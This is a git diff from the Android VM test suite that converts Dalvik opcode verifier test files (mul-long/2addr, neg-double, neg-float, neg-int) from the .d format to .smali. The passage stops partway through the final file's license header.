-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali
new file mode 100644
index 0000000..7f682b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.d
deleted file mode 100644
index b094774..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_1.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       neg-double v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali
new file mode 100644
index 0000000..ef0f23a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_1.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.d
deleted file mode 100644
index a99ecff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_2.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       neg-double v0, v8
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali
new file mode 100644
index 0000000..56f0d62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_2.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v8
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.d
deleted file mode 100644
index 26d6715..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_3.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 8
-
-       neg-double v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali
new file mode 100644
index 0000000..9f8377e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_3.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 8
+
+       neg-double v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.d
deleted file mode 100644
index d7a51d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_4.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)D
-.limit regs 8
-
-       neg-double v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali
new file mode 100644
index 0000000..7ddb761
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_4.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 8
+
+       neg-double v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.d
deleted file mode 100644
index b8cbb4b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_double_5.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 8
-
-       neg-double v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali
new file mode 100644
index 0000000..6f11e25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_double_5.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 8
+
+       neg-double v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.d
deleted file mode 100644
index 33e252a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_neg_double_6.java
-.class public dot.junit.opcodes.neg_double.d.T_neg_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)D
-.limit regs 8
-
-       neg-double v0, v5
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali
new file mode 100644
index 0000000..412a5eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_double/d/T_neg_double_6.smali
@@ -0,0 +1,18 @@
+.source "T_neg_double_6.java"
+.class  public Ldot/junit/opcodes/neg_double/d/T_neg_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)D
+.registers 8
+
+       neg-double v0, v5
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.d
deleted file mode 100644
index 3259f41..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_1.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       neg-float v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali
new file mode 100644
index 0000000..638ed7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_1.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.d
deleted file mode 100644
index 966cbe7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_2.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       neg-float v0, v5
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali
new file mode 100644
index 0000000..3c4a91d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_2.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v5
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.d
deleted file mode 100644
index 6c6be2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_3.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 5
-
-       neg-float v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali
new file mode 100644
index 0000000..0a41404
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_3.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.d
deleted file mode 100644
index 3b9c963..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_4.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 5
-
-       neg-float v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali
new file mode 100644
index 0000000..5b8904c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_4.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.d
deleted file mode 100644
index 7a391f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_neg_float_5.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)F
-.limit regs 5
-
-       neg-float v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali
new file mode 100644
index 0000000..be2bdde
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_5.smali
@@ -0,0 +1,18 @@
+.source "T_neg_float_5.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)F
+.registers 5
+
+       neg-float v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.d
deleted file mode 100644
index 897725b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_float_6.java
-.class public dot.junit.opcodes.neg_float.d.T_neg_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       neg-float v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali
new file mode 100644
index 0000000..231833d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_float/d/T_neg_float_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_float_6.java"
+.class  public Ldot/junit/opcodes/neg_float/d/T_neg_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)F
+.registers 5
+
+       neg-float v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.d
deleted file mode 100644
index 0ff47de4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_1.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       neg-int v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali
new file mode 100644
index 0000000..2898153
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
